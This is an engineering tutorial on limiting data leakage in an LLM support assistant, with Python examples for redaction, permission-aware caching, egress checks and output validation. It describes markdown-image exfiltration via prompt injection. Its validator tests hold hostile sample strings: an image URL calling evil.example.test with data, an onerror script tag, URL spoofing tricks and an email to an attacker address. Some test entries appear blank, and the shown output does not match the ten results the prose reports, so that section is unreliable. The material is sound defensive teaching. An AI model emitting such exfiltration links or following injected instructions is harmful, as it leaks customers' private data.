Privacy, Data Leakage, and Output Controls
Consider a hypothetical order-support assistant for an online store, the one used in the articles on tool authorization and agent action evaluation. A customer writes: “My card 4111 1111 1111 1111 was charged twice for ord_7. Email me at ana.k@example.test.” Within a second the text exists in several places: the request log that engineers read when something breaks, the prompt sent to a model provider, a trace of the retrieval and tool steps, a cache entry keyed by the question, and possibly a memory note about the customer’s preferences. Nothing in this list is an attack. Each copy came from a reasonable decision made by a different person for a different purpose.
Three weeks later three things happen. A support engineer pastes a log excerpt into a ticket. An analyst samples the log to build a test set. The customer asks the store to delete her data. Each event raises a question that the original design never answered. What did we store, and who can read it? What can the assistant say to someone who is not the customer? How long does each copy live, and who removes it?
“Leakage” in this article means disclosure of information to a party that is not entitled to it, which is a different problem from the train-test contamination described in the glossary entry on data leakage. The prompt injection article is the prerequisite. It separated content from authority, attached a trust label to each context item according to who wrote the text, and left two things open: it pointed out that a manipulated reply needs output controls, and it described exfiltration through a tool with a free destination. This article adds the other axis, which is who may read a piece of text, and applies it to four places: the logs and stores that hold inputs, the retrieval and context path, the model’s output, and the deletion of everything that was copied. The programs are Python 3.12 using only the standard library, the data is synthetic, and every person, address and card number is invented (the card number is a standard test number that passes the check digit).
Where sensitive text goes
A request creates copies along its path, and every arrow in the path is a boundary where the text becomes readable to a different set of parties.
user message
|--> request log / trace store -----> engineers, observability vendor, ticket attachments
|--> redaction (optional) --> prompt --> model provider --> provider retention window
|--> retrieval --> context assembly <-- tool results (order data, notes)
|--> reply --> output checks --> browser / email / downstream code
|--> conversation store, memory, caches, step journal, approval snapshots
'--> samples copied into test sets and feedback datasets
Listing the stores is the first control, because a copy that nobody listed will not be protected, expired or deleted. For each store the inventory records what it holds, who can read it, how long it keeps it, and how a record is found and removed when a person asks.
| Store | What it typically holds | Readers to plan for | Lifetime question |
|---|---|---|---|
| Request log, trace | Prompts, retrieved passages, tool arguments and results, raw replies | Engineers, on-call staff, an observability vendor | How long is raw text kept, and is it sampled? |
| Provider side | The request and response, sometimes stored objects such as files or conversation state | The provider’s systems and, for abuse review, authorized staff | Set by the provider’s terms and the plan, not by the application |
| Conversation store, memory | Messages and notes scoped to a user | The product, support staff | Tied to the account; must be deletable by user and source |
| Caches | Responses or embeddings keyed by a query | Whoever can hit the same key | Must expire and must not cross principals |
| Step journal, approval snapshots | Tool arguments, results and the preview a reviewer saw | Operators, reviewers, auditors | Longer, for accountability, and therefore a bigger privacy cost |
| Test sets, feedback sets | Samples of real requests | Analysts, evaluators, sometimes contractors | Copies made by hand and easy to forget |
The classes of data in those stores deserve different handling, and the data classification entry explains why a single “sensitive” label conflates distinct questions. For this assistant four classes cover most cases. Credentials and secrets (passwords, API keys, session tokens) should never be stored and should be rejected at the edge. Payment data has its own handling rules and is best kept out of the model path entirely. Personal data, direct identifiers such as names, emails, phone numbers and addresses and the personal details a customer volunteers in free text, is the main subject of this article. Business-confidential and other customers’ data covers internal notes, staff-only passages and records that belong to someone else. The data privacy entry makes the point that a permitted user can still use too much data, which is the reason the first design question is what to collect, not how to protect it.
Sensitive inputs and logs
Decide what the log is for
A log has jobs. It lets an engineer reconstruct a failure, it lets a team measure quality, it supports an incident investigation, and it feeds test sets. Those jobs need different amounts of content, and most of them need none. The model API integration article listed the fields that reconstruct a bad hour: the request fingerprint, the provider’s request id, the attempt count, the finish reason, the validation status and the latency. The context article added the prompt name and version and the ids of the evidence included, and the retrieval index article added the index version and the evidence records with spans and hashes. None of these is the text of the question or of the passages.
That gives a default with two tiers.
- Metadata tier, kept by default. Identifiers, versions, counts, hashes, decision reasons and outcomes, in a structured log. An evidence id plus a span and a content hash lets an investigator confirm what was retrieved, provided the text is still available in the corpus, and it does not copy the text.
- Content tier, kept by exception. Raw prompts, retrieved text and replies, captured for a sampled fraction of traffic or for requests that failed a check, in a separate store with narrower access and a short lifetime, after redaction.
The split also answers a practical objection. An engineer who needs the text of one failing request can reproduce it from the metadata: the request fingerprint names the prompt version and the model, the evidence ids name the passages, and the user’s message is available from the conversation store under that store’s access rules. What the engineer gives up is a copy of everything in a store with broad read access.
Detecting and replacing sensitive values
Redaction replaces detected values before text reaches a destination. The glossary entry on log redaction notes that field deletion and text rules cover different locations and cannot substitute for each other. In free text, detection is a classification problem with three tool families. Patterns match values with a fixed shape, such as emails and phone numbers. A validity check removes false positives from patterns: a card number is a digit string whose last digit satisfies the Luhn check, computed by doubling every second digit from the right, subtracting 9 from any doubled digit above 9, summing all digits, and requiring the sum to be divisible by 10. A named-entity model, or a dictionary of known names and addresses, covers values that have no fixed shape, such as people’s names and street addresses.
Two design choices follow. The replacement should keep the structure of the text: a typed placeholder such as <EMAIL_1>, identical for identical values within a conversation, lets a reader or a model see that the same address appears twice without learning the address. And when the redacted text goes to a model, the application can keep the placeholder-to-value mapping in memory for the life of the request and restore the values in the reply, so the provider never sees the values and the customer still reads her own email address in the answer. The cost is utility. A model that sees <ADDRESS_1> cannot reason about whether the address is in Leeds.
The program below implements the pattern-and-check family and runs it on seven synthetic messages. Each message comes with the values a perfect detector would remove, so the program can report what was missed.
"""Typed redaction with consistent placeholders. Python 3.x, standard library only. Synthetic data."""
import re, hmac, hashlib
def luhn_ok(digits: str) -> bool:
total, alt = 0, False
for ch in reversed(digits):
d = int(ch)
if alt:
d *= 2
if d > 9: d -= 9
total += d
alt = not alt
return total % 10 == 0
PATTERNS = [
("EMAIL", re.compile(r"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}")),
("CARD", re.compile(r"\b\d(?:[ -]?\d){12,18}\b")),
("PHONE", re.compile(r"\+\d{1,3}(?:[ -]?\d{2,4}){2,4}\b")),
]
class Redactor:
"""Replaces detected values with placeholders such as <EMAIL_1>. The same value gets the same
placeholder within one conversation, so the text keeps its structure; the mapping stays in memory."""
def __init__(self):
self.map = {} # original -> placeholder
self.counts = {}
def _ph(self, kind, value):
if value not in self.map:
self.counts[kind] = self.counts.get(kind, 0) + 1
self.map[value] = f"<{kind}_{self.counts[kind]}>"
return self.map[value]
def redact(self, text):
spans = []
for kind, pat in PATTERNS:
for m in pat.finditer(text):
if kind == "CARD":
digits = re.sub(r"\D", "", m.group())
if not (13 <= len(digits) <= 19 and luhn_ok(digits)):
continue # a long number that fails the check digit is not a card
spans.append((m.start(), m.end(), kind))
spans.sort()
out, pos = [], 0
for s, e, kind in spans:
if s < pos: continue # overlapping match: keep the first
out.append(text[pos:s]); out.append(self._ph(kind, text[s:e])); pos = e
out.append(text[pos:])
return "".join(out)
def restore(self, text):
inv = {v: k for k, v in self.map.items()}
return re.sub(r"<[A-Z]+_\d+>", lambda m: inv.get(m.group(), m.group()), text)
# --- synthetic labeled messages: (text, list of (kind, value) that a perfect detector must remove)
DATA = [
("My card 4111 1111 1111 1111 was charged twice for ord_7.", [("CARD", "4111 1111 1111 1111")]),
("Email me at ana.k@example.test or call +44 7700 900123.", [("EMAIL", "ana.k@example.test"), ("PHONE", "+44 7700 900123")]),
("Tracking number 1234 5678 9012 3456 shows no movement.", []), # 16 digits, fails Luhn: not a card
("I am Ana Kim, 14 Mill Lane, Leeds. Where is ord_8?", [("NAME", "Ana Kim"), ("ADDRESS", "14 Mill Lane, Leeds")]),
("Send it to a n a . k @ example . test please", [("EMAIL", "a n a . k @ example . test")]), # obfuscated
("Card ending 1111, full number 5500-0000-0000-0004.", [("CARD", "5500-0000-0000-0004")]),
("Where is ord_9?", []),
]
if __name__ == "__main__":
r = Redactor()
found = {}
total = {}
for text, truth in DATA:
red = r.redact(text)
print(red)
for kind, val in truth:
total[kind] = total.get(kind, 0) + 1
if val not in red:
found[kind] = found.get(kind, 0) + 1
print()
for kind in total:
print(f"{kind:8s} removed {found.get(kind,0)} of {total[kind]}")
print("round trip:", r.restore(r.redact(DATA[0][0])) == DATA[0][0])
# keyed vs unkeyed hash of an identifier
emails = ["ana.k@example.test", "ben.r@example.test", "cy.m@example.test", "dee.p@example.test"]
guesses = [f"{a}.{b}@example.test" for a in "abcdefghijklmnopqrstuvwxyz" for b in "abcdefghijklmnopqrstuvwxyz"] + emails
plain = {hashlib.sha256(e.encode()).hexdigest()[:12]: e for e in emails}
table = {hashlib.sha256(g.encode()).hexdigest()[:12]: g for g in guesses}
print("unkeyed sha256 reversed by guessing:", sum(h in table for h in plain), "of", len(plain))
key = b"secret-held-by-the-logging-service"
keyed = {hmac.new(key, e.encode(), "sha256").hexdigest()[:12]: e for e in emails}
table2 = {hmac.new(b"attacker-guess", g.encode(), "sha256").hexdigest()[:12]: g for g in guesses}
print("HMAC reversed without the key:", sum(h in table2 for h in keyed), "of", len(keyed))
My card <CARD_1> was charged twice for ord_7.
Email me at <EMAIL_1> or call <PHONE_1>.
Tracking number 1234 5678 9012 3456 shows no movement.
I am Ana Kim, 14 Mill Lane, Leeds. Where is ord_8?
Send it to a n a . k @ example . test please
Card ending 1111, full number <CARD_2>.
Where is ord_9?
CARD removed 2 of 2
EMAIL removed 1 of 2
PHONE removed 1 of 1
NAME removed 0 of 1
ADDRESS removed 0 of 1
round trip: True
unkeyed sha256 reversed by guessing: 4 of 4
HMAC reversed without the key: 0 of 4
Read the output in three parts. The first lines show the redacted messages. The 16-digit tracking number is left alone because it fails the Luhn check, while the card numbers are replaced even though one is written with hyphens and one with spaces. The table shows what the pattern family removes per class on this toy set: both cards, one of two emails, the phone number, and neither the name nor the address. The email that was missed is the one written as a n a . k @ example . test, which defeats the pattern and still reads as an address to a person and to a model. The name and the address have no fixed shape at all, so no pattern list will find them; that is the job of an entity model, and such a model has its own misses.
The counts are a property of seven hand-written messages and say nothing about the recall of this detector on real traffic. What they illustrate is the structure of the problem. Structured values are cheap to find, free-text personal data is not, and a detector’s recall is a measured quantity that has to be reported per class on a sample that resembles production. Redaction therefore lowers the amount of sensitive text in a store and does not reduce it to zero. That is why the default is to store no content at all and why the content tier has a short lifetime and narrow access.
The last two lines of the output show a separate point, about identifiers that must be joined across records. Suppose logs carry a pseudonym for each customer so that engineers can group one customer’s requests without seeing the email. An unkeyed hash of an email looks opaque and is not: anyone with a list of plausible addresses hashes each and compares, and in the program all four hashes are reversed by this guessing. The space of plausible emails is small enough for that, and the same holds for phone numbers and order ids. A keyed hash (HMAC) with a secret held by the logging service gives the same grouping property and resists the guess, shown by the zero of four reversed by someone with the same guess list and no key. The key belongs in a secrets store, and rotating it breaks the join between old and new records. A keyed pseudonym is still personal data under most definitions, because the key holder can link it back; the entry on pseudonymization and anonymization explains the difference.
Who reads the log
A redacted log is still a store with readers. The OWASP Logging Cheat Sheet lists data that should be removed, masked, hashed or encrypted before logging, among them access tokens, session identifiers, passwords, encryption keys, connection strings and sensitive personal data, and it asks for restricted and monitored access to logs. In an AI application the list has additions that a conventional service does not have: the system prompt, the retrieved passages and the model’s reasoning text, any of which may carry confidential content. Error handling is a second path. A stack trace, a provider error that echoes the request, or a validation failure that includes the offending value can put raw text into a log that was designed to hold none, and the model API integration article is the place where those failures are handled, so the log call there should record the error class and the request id, not the payload.
Three uses of the log deserve a decision before they happen, not after. A ticket that quotes a log excerpt copies it into a system with different access and retention. A sample of real requests copied into a test set, as the reproducible evaluation article describes, creates a long-lived store, so scrub it first, record where each case came from, and give the set an owner and a retention rule. And using logged requests for a purpose other than the one they were collected for, such as training or evaluation, may need a notice or consent; the glossary entry on privacy notice and consent is a starting point, and the rules vary by jurisdiction and by the agreement with the customer.
Retention is a multiplier
The amount of raw text at risk at any moment is proportional to the retention period. If \(r\) records are written per day and each is kept \(T\) days, about \(N = rT\) records exist at a time, and a leak of the store exposes all of them. For a hypothetical service writing 20,000 raw requests a day, 30 days of retention holds about 600,000 records and 3 days holds about 60,000. Retention is a design parameter with a measurable justification: look at how old a record is when someone reads it. If almost every read of the content tier happens within a few days of the write, a longer lifetime buys little, and it keeps the exposure. The glossary entry on data retention adds that a duration needs a starting event and an end action, and that a copy made into another store should not restart its clock.
What leaves for the model provider
A prompt sent to a hosted model is a disclosure to a processor, and the application owner does not control what happens to it afterward beyond the terms and settings of the service. The questions to ask are the same for any provider, and the answers differ by provider, plan, endpoint and feature.
| Question | Why it matters to the application |
|---|---|
| How long are inputs and outputs retained by default, and for what purpose (service delivery, abuse monitoring)? | Sets the longest lifetime of a copy you cannot delete yourself |
| Is customer content used to train or improve models, by default or by opt-in? | Determines whether the content can influence future model behavior |
| Is there a zero-retention option, what does it cover, and which features does it disable? | A guarantee that applies to some endpoints and not to others is not a guarantee for the application |
| Does the provider store state on your behalf (stored responses, conversation objects, uploaded files, vector stores)? | These are additional copies with their own lifetime and their own deletion calls |
| Where is the data processed, and which sub-processors are involved? | Relevant to contracts and to regional rules |
| How does a deletion request reach the provider, and what is the response time? | Feeds the deletion inventory later in this article |
Concrete answers show how much they vary. OpenAI’s data-controls documentation states a default 30-day retention for abuse monitoring, states that data sent to the API is not used to train its models unless the customer opts in, and describes zero data retention as an arrangement in which content is excluded from abuse-monitoring logs and the store option for responses is treated as false; with store enabled and no zero retention, response data is kept for at least 30 days. Anthropic’s privacy center states that for its API, inputs and outputs are deleted from the backend within 30 days of receipt or generation, subject to exceptions and to agreements that say otherwise, such as zero data retention. These statements describe two services at one point in time. Terms change, depend on the plan and the endpoint, and can include carve-outs. The application’s design should read the current terms for the service it uses and encode the retention window as a configuration value that the deletion process knows about, not as a number in someone’s memory. Whether and how contractual or regulatory rules constrain a given use differs by jurisdiction and by agreement, and the decision belongs to the people responsible for those agreements.
Encryption does not change the question. As the glossary entry on encryption notes, a connection that protects a transcript in transit ends at a recipient that decrypts and processes it, so encryption in transit says nothing about what the provider stores.
The strongest control available to the application is data minimization before the call: send the fields the task needs and nothing else. Build the prompt from an allow-list of fields for each task, not from a whole record. Replace values with placeholders when the task does not depend on them, using the redactor above, and restore them in the reply. Do not send credentials or full payment data. A support reply that explains a refund policy needs the order’s status and the policy passage, and has no use for the customer’s phone number.
Retrieval permissions at the application layer
The retrieval access controls article states the invariant that every chunk influencing an answer must come from a document the source system would let this user read at that moment. It covers how permissions travel from source documents to chunks, how identity reaches the index, pre-filtering versus post-filtering, revocation windows and leakage tests, and none of that is repeated here. What remains is the application’s side of the same boundary, the code between the index result and the model prompt, where three failures recur.
The first is trusting the index’s copy of a permission when the decision is consequential. An index refreshed nightly holds yesterday’s permissions, so a user whose access was revoked this morning still matches. For restricted classes of documents the assembler asks the source system just before it adds a passage to the context. The second is a cache. A response cache keyed by the query text returns an answer computed for someone else, and a cache key has to include the principal, or the principal’s group set, and a permission version. The glossary entry on tenant isolation makes the same point for any shared system: cached answers must not cross a boundary just because the question matches. The third is every other store that the assistant reads back, such as conversation memory, which has to be scoped to the user from the session before any matching.
The program below builds a three-document corpus, with d3 restricted to staff, and shows the cache and the revocation cases.
"""Context assembly with a source recheck, and a response cache keyed two ways. Python 3.x, stdlib only. Synthetic data."""
from dataclasses import dataclass
@dataclass
class Source: # stands in for the source system's authorization
acl: dict # doc_id -> set of principals allowed to read
version: int = 1 # bumps on every permission change
def can_read(self, user, doc_id):
return user in self.acl.get(doc_id, set())
def revoke(self, user, doc_id):
self.acl[doc_id].discard(user); self.version += 1
DOCS = {"d1": "Refund window is 14 days.",
"d2": "Escalation contact for the Leeds depot is the depot lead.",
"d3": "Draft: carrier contract renegotiation, rate cut of 12 percent."} # restricted to staff
# Index copy of the ACL, refreshed nightly: it can be stale.
INDEX_ACL = {"d1": {"cu_ana", "cu_ben", "staff_li"}, "d2": {"cu_ana", "cu_ben", "staff_li"}, "d3": {"staff_li"}}
def retrieve(query, user, index_acl):
words = set(query.lower().split())
hits = [(len(words & set(t.lower().replace(".", "").split())), d) for d, t in DOCS.items()
if user in index_acl[d]] # pre-filter by the index copy of the ACL
return [d for s, d in sorted(hits, reverse=True) if s > 0][:2]
def assemble(query, user, index_acl, source, recheck):
ids = retrieve(query, user, index_acl)
if recheck: # ask the source of truth just before use
ids = [d for d in ids if source.can_read(user, d)]
return ids
def answer(ids): # stub model: returns the evidence it was given
return " ".join(DOCS[d] for d in ids) or "No evidence available."
class Cache:
def __init__(self, keyed_by_principal):
self.kp, self.store = keyed_by_principal, {}
def key(self, query, user, perm_version):
q = " ".join(sorted(query.lower().split())) # normalized query
return (q, user, perm_version) if self.kp else (q,)
def get(self, *a): return self.store.get(self.key(*a))
def put(self, value, *a): self.store[self.key(*a)] = value
if __name__ == "__main__":
print("--- cache keyed by the normalized query only")
src = Source({d: set(u) for d, u in INDEX_ACL.items()})
c = Cache(keyed_by_principal=False)
q = "carrier contract rate"
ids = assemble(q, "staff_li", INDEX_ACL, src, True); c.put(answer(ids), q, "staff_li", src.version)
hit = c.get(q, "cu_ana", src.version)
print("cu_ana, cache hit:", hit)
print("--- cache keyed by (query, principal, permission version)")
c = Cache(keyed_by_principal=True)
c.put(answer(ids), q, "staff_li", src.version)
print("cu_ana, cache hit:", c.get(q, "cu_ana", src.version))
print("--- revocation: cu_ben loses d2 at the source; the index copy is refreshed nightly")
q2 = "escalation contact leeds"
for recheck in (False, True):
src = Source({d: set(u) for d, u in INDEX_ACL.items()})
c = Cache(True)
before = answer(assemble(q2, "cu_ben", INDEX_ACL, src, recheck)); c.put(before, q2, "cu_ben", src.version)
src.revoke("cu_ben", "d2") # index ACL unchanged until the nightly job
fresh = answer(assemble(q2, "cu_ben", INDEX_ACL, src, recheck))
cached = c.get(q2, "cu_ben", src.version) # version moved, so this key misses
print(f"recheck={recheck!s:5} after revoke: {fresh!r} cache lookup: {cached!r}")
--- cache keyed by the normalized query only
cu_ana, cache hit: Draft: carrier contract renegotiation, rate cut of 12 percent.
--- cache keyed by (query, principal, permission version)
cu_ana, cache hit: None
--- revocation: cu_ben loses d2 at the source; the index copy is refreshed nightly
recheck=False after revoke: 'Escalation contact for the Leeds depot is the depot lead.' cache lookup: None
recheck=True after revoke: 'No evidence available.' cache lookup: None
In the first run the cache is keyed by the normalized query only. The staff member asks about the carrier contract, the answer is cached, and the customer cu_ana, who asks the same question, receives the staff-only draft from the cache without any retrieval running at all. The permission filter in the retriever is correct and never executes. In the second run the key includes the principal and the permission version, and the customer’s lookup misses.
The last two lines cover revocation. At the source, cu_ben loses access to d2, and the index still lists him until the nightly job runs. Without a recheck, the assembler returns the passage after the revocation. With the recheck, it returns nothing. The cache lookup misses in both runs because the permission version moved, which is the reason the version belongs in the key. The recheck costs one call to the source system per restricted passage; for most corpora that is cheap enough for restricted classes and not for every passage, and the retrieval access controls article discusses how large the exposure window of the unchecked path is and how to bound it.
Chunks that the user may not see can leak without being shown. A passage that influenced a rewritten query, a reranking context or a summary has affected the answer even if the final list drops it, and the text of an answer can reveal a restricted passage without citing it. The tests for this are the canary documents and end-to-end questions described in that article, run through the whole application and not only through the index.
Data flow across calls
The tool authorization article observed that two permitted calls can compose into a disallowed outcome: a read of customer data followed by a message to an outside address is two allowed calls and one leak. Authorizing each call individually cannot see that. The check has to look at what the context contains when the second call is made.
The trust label from the prompt injection article answers who wrote a piece of text, which is an integrity question. The question here is who may read it, which is a confidentiality question, and the two need separate labels. Each context item carries an audience, the set of principals entitled to read it, or no restriction for public text and the user’s own words. A model can combine anything in its context into any output, so the audience of the whole context is the intersection of the audiences of its items, and an outbound call is allowed only when its recipient is in that intersection.
"""Confidentiality labels on context items and an egress check on outbound calls. Python 3.x, stdlib only."""
from dataclasses import dataclass, field
@dataclass(frozen=True)
class Item:
source: str
audience: frozenset | None # who may read it; None = anyone (public text, the user's own words)
@dataclass
class Context:
items: list = field(default_factory=list)
def add(self, source, audience=None):
self.items.append(Item(source, None if audience is None else frozenset(audience)))
def audience(self):
"""Readers entitled to everything in the context: the intersection of the audiences."""
aud = None
for i in self.items:
if i.audience is not None:
aud = i.audience if aud is None else aud & i.audience
return aud # None means no restricted item is present
RECIPIENTS = {"ord_8": "cu_ana", "ord_9": "cu_ben"} # recipient is resolved from the order record
def check_send(ctx, tool, args):
if tool == "send_status_email":
recipient = RECIPIENTS[args["order_id"]]
elif tool == "send_email":
recipient = args["to"] # free destination chosen by the model
else:
return "allow", "not_an_egress_tool"
aud = ctx.audience()
if aud is None:
return "allow", "no_restricted_data_in_context"
if recipient in aud:
return "allow", "recipient_in_audience"
return "hold", f"recipient {recipient} not in audience {sorted(aud)}"
if __name__ == "__main__":
ctx = Context()
ctx.add("user_turn") # the user's own words
ctx.add("tool:get_order(ord_8)", {"cu_ana", "staff_li"}) # order data: the customer and staff
for tool, args in [("send_status_email", {"order_id": "ord_8"}),
("send_email", {"to": "attacker@example.test"}),
("send_email", {"to": "cu_ana"})]:
print(f"{tool:18s} {args} -> {check_send(ctx, tool, args)}")
ctx.add("kb:d3 (staff only)", {"staff_li"}) # a staff-only passage enters the context
print("after a staff-only passage enters the context, audience =", sorted(ctx.audience()))
for tool, args in [("send_status_email", {"order_id": "ord_8"})]:
print(f"{tool:18s} {args} -> {check_send(ctx, tool, args)}")
send_status_email {'order_id': 'ord_8'} -> ('allow', 'recipient_in_audience')
send_email {'to': 'attacker@example.test'} -> ('hold', "recipient attacker@example.test not in audience ['cu_ana', 'staff_li']")
send_email {'to': 'cu_ana'} -> ('allow', 'recipient_in_audience')
after a staff-only passage enters the context, audience = ['staff_li']
send_status_email {'order_id': 'ord_8'} -> ('hold', "recipient cu_ana not in audience ['staff_li']")
The user’s words and an order record readable by the customer and by staff give an audience of cu_ana and staff_li. send_status_email takes an order id and resolves the recipient from the order record, so the recipient is the customer and the call is allowed. send_email with a free to field is held when the model proposes the attacker’s address and allowed when it proposes the customer. The check does not try to detect the attack. It compares a destination with an audience, and it would hold a well-meaning request to a wrong recipient in the same way.
The last two lines show the cost. In a staff member’s session a staff-only passage enters the context, the audience shrinks to the staff member, and the email to the customer is held even though the call itself is the same. That is the expected behavior of a conservative rule: the model could have copied from the passage. It also shows why the control is coarse. A label on the whole context is a high-water mark that only grows during a session. Three design moves reduce the cost without weakening the rule. Make tool results structured so that the fields the application controls carry their own labels and only the free text is restricted. Keep restricted retrieval out of sessions that draft customer-facing messages, or split the work so the drafting step never reads the staff-only passage. And end a session, or start a new one, when a task finishes, so that a label from an earlier task does not follow the next one.
The rule leaves gaps. It is a check on the destination and says nothing about what the text contains, so a reply to the entitled user that includes another customer’s data needs the output scan in the next section. It assumes that every restricted source assigns a label when its text enters the context, the same weakness the prompt injection article noted for trust labels. And it covers calls that leave the system; a rendered link or image fetched by a browser is an outbound request that the tool dispatcher never sees, which is the next topic.
Output validation
The reply is untrusted input to the next component
A model’s output is influenced by everything in its context, including text written by third parties, so the component that receives it should treat it as untrusted input. OWASP’s entry on improper output handling defines the problem as insufficient validation, sanitization and handling of model output before it reaches downstream components, and lists the consequences that follow from the consumer: script execution in a browser when output is rendered as HTML or Markdown, injection when output is concatenated into SQL, and path traversal or command execution when output is used as a file path or shell command. The control depends on the consumer. A reply rendered in a browser is HTML-escaped or sanitized by an allow-list renderer. A value used in a query is a bound parameter. A path or command argument is validated against a closed set, and model output is never passed to eval or a shell. Structured output that parses into an object is validated against the schema as described in the model API integration article, which is a necessary check and not a sufficient one, because a valid field can still hold a hostile value.
Links and images
Markdown rendering creates an exfiltration channel that needs no tool call. An attacker’s instruction in retrieved text asks the model to include an image whose URL has private data in its query string. When the client renders the reply, the browser requests the image automatically, and the request delivers the data to the attacker’s server without the user clicking anything. Simon Willison’s collection of markdown exfiltration reports describes this pattern and the demonstrations against deployed assistants, and the most reliable mitigation it names is to stop rendering images from external sources; a content security policy that restricts image sources helps, with loopholes when an allowed domain hosts open redirects. This is the leg of the lethal trifecta that the prompt injection article described as external communication, and the dispatcher cannot see it.
The prompt injection article’s harness used a four-line check that dropped links outside the store’s domain. A working check has to parse URLs, because string tests are defeated by several tricks: a host that merely starts with the allowed name, a look-alike suffix, credentials in the authority part of the URL, the allowed host appearing only inside a query parameter, reference-style Markdown images whose URL sits on a different line, and raw HTML tags. The program below applies four layers. It removes images and active HTML tags entirely, allows only exact-match https hosts from an allow-list for links, rejects credentials in the URL, and scans the reply for sensitive values using the same detectors as the input side, flagging values that do not appear in the evidence the user is entitled to see.
"""Output validation for a chat reply that is rendered as Markdown. Python 3.x, stdlib only. Synthetic cases."""
import re
from urllib.parse import urlsplit
from redact import luhn_ok, PATTERNS
ALLOWED_HOSTS = {"shop.example.test"}
URL = re.compile(r"""(?:https?:)?//[^\s)"'<>\]]+|data:[^\s)"'<>\]]+""", re.I)
MD_IMAGE = re.compile(r"!\[[^\]]*\]\([^)]*\)|!\[[^\]]*\]\[[^\]]*\]", re.I)
HTML_ACTIVE = re.compile(r"<\s*(img|script|iframe|a|link|style|svg|form)\b[^>]*>?", re.I)
def url_ok(u: str) -> bool:
if u.lower().startswith("data:"):
return False
parts = urlsplit(u if "//" in u else "//" + u)
if parts.scheme not in ("https",): return False
if parts.username or parts.password: return False # https://shop.example.test@evil.example/ has userinfo
if parts.hostname not in ALLOWED_HOSTS: return False # exact host match, not endswith or substring
return True
def validate_reply(reply: str, evidence_ids_value_set: set):
"""Return (clean_reply, findings). evidence_ids_value_set holds sensitive values the user may see."""
findings = []
clean = MD_IMAGE.sub(lambda m: (findings.append("markdown_image") or "[image removed]"), reply)
clean = HTML_ACTIVE.sub(lambda m: (findings.append("html_tag") or ""), clean)
def fix(m):
u = m.group()
if url_ok(u): return u
findings.append("url_not_allowed"); return "[link removed]"
clean = URL.sub(fix, clean)
for kind, pat in PATTERNS: # same detectors as on the input side
for m in pat.finditer(clean):
val = m.group()
if kind == "CARD" and not luhn_ok(re.sub(r"\D", "", val)): continue
if val not in evidence_ids_value_set:
findings.append(f"sensitive_{kind.lower()}_not_in_user_evidence")
clean = clean.replace(val, f"[{kind.lower()} removed]")
return clean, findings
ATTACKS = [ # (reply, must be changed)
"Status: shipped. ",
"Status: shipped. ", # allowed host, data in query
"Confirm payment at http://pay.example.test/verify",
"See https://shop.example.test@evil.example.test/login", # userinfo trick
"See https://shop.example.test.evil.example.test/login", # look-alike suffix
"See https://evil.example.test/?r=https://shop.example.test/", # allowed host only in a parameter
"<img src=x onerror=alert(1)>",
"![x][1]\n\n[1]: https://evil.example.test/leak?d=1", # reference-style image
"Your other order was paid with 4111 1111 1111 1111.", # value not in user's evidence
"Contact ben.r@example.test about ord_9.", # another customer's email
]
BENIGN = [
"Your order ord_8 shipped Friday. Track it at https://shop.example.test/track/ord_8",
"The refund window is 14 days. Reply here if you need help.",
"We have your email ana.k@example.test on file.", # value the user supplied / may see
"Tracking number 1234 5678 9012 3456 shows no movement.",
]
LIMITS = [ # harmful text with no URL, no tag and no detectable sensitive value
"To fix the double charge, reply with the full card number and the three digits on the back.",
"Your account is locked. Call the number on your last invoice and read out your password.",
]
if __name__ == "__main__":
visible = {"ana.k@example.test"}
for r in ATTACKS:
c, f = validate_reply(r, visible)
print(("changed " if c != r else "MISSED "), repr(r[:62]), "->", f)
print()
for r in BENIGN:
c, f = validate_reply(r, visible)
print(("unchanged" if c == r else "CHANGED "), repr(r[:62]), f)
print()
for r in LIMITS:
c, f = validate_reply(r, visible)
print(("unchanged" if c == r else "CHANGED "), repr(r[:62]), f)
changed 'Status: shipped. >' -> ['html_tag']
changed '![x][1]\n\n[1]: https://evil.example.test/leak?d=1' -> ['markdown_image', 'url_not_allowed']
changed 'Your other order was paid with 4111 1111 1111 1111.' -> ['sensitive_card_not_in_user_evidence']
changed 'Contact ben.r@example.test about ord_9.' -> ['sensitive_email_not_in_user_evidence']
unchanged 'Your order ord_8 shipped Friday. Track it at https://shop.exam' []
unchanged 'The refund window is 14 days. Reply here if you need help.' []
unchanged 'We have your email ana.k@example.test on file.' []
unchanged 'Tracking number 1234 5678 9012 3456 shows no movement.' []
unchanged 'To fix the double charge, reply with the full card number and ' []
unchanged 'Your account is locked. Call the number on your last invoice a' []
The ten attack replies are all changed, and each finding names the layer that caught it. The image with a query string is removed whether the host is the attacker’s or the store’s, because the policy here is no images at all; a policy that allows images from the store’s own domain needs the host check and a rule against query strings, and is simpler to get wrong. The http link, the userinfo trick, the look-alike suffix and the allowed host inside a parameter all fail the exact-host test, which parses the URL and compares the hostname instead of searching for a substring. The reference-style image is caught on its image syntax and again on its URL. The last two attacks carry values and not links: a card number that is in no evidence available to this customer, and another customer’s email address. Both are removed because the reply contains a detectable sensitive value that the user’s own evidence does not contain. The four benign replies pass unchanged, including the one that repeats the customer’s own email address and the tracking number that fails the Luhn check.
Two practical points apply to any validator of this kind. It must run on the exact string that is rendered, after citation numbering, link rewriting and any other transformation, because a check that runs before a later edit validates a different text. And it must handle what the renderer accepts, not what the developer expects, so the test set grows with every bypass found.
What the guard cannot judge
The last two lines of the output are the limits. A reply that tells the customer to send her full card number to fix a double charge, and a reply that says her account is locked and asks her to read out her password, contain no URL, no tag and no detectable value, and they pass unchanged. The harm is in what the text asks the reader to do. Output patterns cannot recognize that, a classifier can only estimate it, and the upstream controls carry the weight: the content and authority separation and tool controls of the prompt injection article, the grounding and verification of the grounded answer article, and human review for the replies that matter. The scan for sensitive values has the same shape of limit as the input redactor. It finds values with a fixed form and misses a description such as “the customer in Leeds who ordered the blue jacket”.
Failures and streaming
A finding needs an action, chosen per finding. Removing the offending span keeps the rest of a useful reply. Replacing the whole reply with a fixed message is safer when the finding suggests the context was hostile. Regeneration costs another call and may reproduce the problem. Escalation to a person suits the cases where the reply carries something consequential. In every case the log records the finding type and the request id and not the matched value, since a log line that quotes a leaked card number creates a second leak.
Streaming changes where a check can sit. If tokens reach the user as they are generated, the reply is partly displayed before the check can run, and a URL or number split across chunks defeats a check that looks at one chunk at a time. For surfaces that render links or handle sensitive data, buffer until a delimiter boundary and validate the buffer before releasing it, or hold the whole reply, and accept the added latency. For plain-text surfaces with no rendering, a post-hoc scan that retracts and logs is a weaker control and cheaper.
Measuring the validator
